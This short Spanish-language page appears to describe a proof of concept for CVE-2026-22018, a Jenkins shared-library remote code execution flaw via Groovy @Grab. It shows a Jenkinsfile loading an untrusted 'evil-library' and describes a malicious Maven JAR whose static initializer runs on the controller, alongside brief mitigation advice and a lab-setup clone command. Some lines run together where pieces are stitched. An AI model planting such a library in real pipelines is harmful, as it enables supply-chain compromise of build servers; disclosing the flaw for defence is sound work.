
PoC para CVE-2026-22018, un fallo crítico de RCE en Jenkins Pipeline Shared Library mediante Groovy @Grab, que demuestra la inyección de código en la cadena de suministro y los pasos de mitigación.
@Grab// Jenkinsfile - loads untrusted shared library
@Library('evil-library@master') _
node {
evilStep()
}
Un pipeline de Jenkins carga una biblioteca compartida desde una fuente no totalmente confiable. La biblioteca utiliza la anotación @Grab para descargar artefactos Maven externos, que pueden incluir una clase maliciosa que ejecuta código en el controlador de Jenkins durante la compilación de Groovy.
@Grab de Groovy descarga y carga JAR arbitrarios en tiempo de ejecución; las bibliotecas compartidas no están en un entorno aislado (sandbox).Configure un pipeline con una biblioteca no confiable que contenga @Grab('com.evil:malware:1.0') en su vars/evilStep.groovy. Cuando el pipeline se ejecuta, se ejecuta el inicializador estático del JAR malicioso.
@Grab mediante la configuración de seguridad del sandbox de Groovy.git clone https://github.com/yourorg/CVE-2026-22018.git
cd CVE-2026-22018
# Set up Jenkins in a lab environment to test.